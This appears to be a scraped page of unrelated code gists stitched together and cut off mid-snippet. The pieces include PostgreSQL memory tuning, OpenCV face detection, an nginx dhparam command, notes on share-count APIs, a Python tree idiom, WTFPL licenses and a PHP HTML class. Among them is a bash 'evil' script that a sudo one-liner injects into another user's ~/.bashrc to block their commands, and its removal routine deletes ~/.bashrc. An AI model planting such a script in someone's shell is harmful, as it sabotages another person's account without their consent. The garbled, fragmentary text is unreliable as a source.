Only four values really matter:
- shared-buffers: below 2GB: set it to 20% of full memory; below 32GB: 25% of your full memory.
#import necessary libraries | |
import cv2 | |
import numpy as np | |
#capture video from the webcam | |
cap = cv2.VideoCapture(0) | |
#load the face finder | |
face_cascade = cv2.CascadeClassifier('/home/sm/Desktop/haarcascade_frontalface_default.xml') |
# to generate your dhparam.pem file, run in the terminal | |
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 |
# This script disables execution of commands and echoes messages to the user, to disable type: "wat" | |
# | |
# To install this, you need to have access to the user's home directory. | |
# sudo -u <user> -i sh -c 'cp /path/to/evil ~/.evil && cp ~/.bashrc ~/.bashrc.ebak && echo ". ~/.evil" >> ~/.bashrc' | |
shopt -s extdebug | |
function disable_evil() { | |
rm ~/.evil | |
rm ~/.bashrc |
I have always struggled with getting all the various share buttons from Facebook, Twitter, Google Plus, Pinterest, etc to align correctly and to not look like a tacky explosion of buttons. Seeing a number of sites rolling their own share buttons with counts, for example The Next Web I decided to look into the various APIs on how to simply return the share count.
If you want to roll up all of these into a single jQuery plugin check out Sharrre
Many of these API calls and methods are undocumented, so anticipate that they will change in the future. Also, if you are planning on rolling these out across a site I would recommend creating a simple endpoint that periodically caches results from all of the APIs so that you are not overloading the services will requests.
Using Python's built-in defaultdict we can easily define a tree data structure:
def tree(): return defaultdict(tree)
That's it!
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Version 2, December 2004 | |
Copyright (C) 2011 Mathieu 'p01' Henri - http://www.p01.org/releases/ | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Version 2, December 2004 | |
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE> | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
A tongue-in-cheek look at coding standards in the WordPress core and the average WordPress plugin.
global
- in case they're going to be used again'yes'
/'no'
) - for clarity<?php | |
/** | |
* Quick and dirty HTML generation for PHP | |
*/ | |
class HtmlNode { | |
public $element = 'div'; | |
public $content = null; | |
public $attrs = array(); | |
public function __construct($element=null, $content=null, $attrs=null, $closing=null, $shortclosing=' /') { |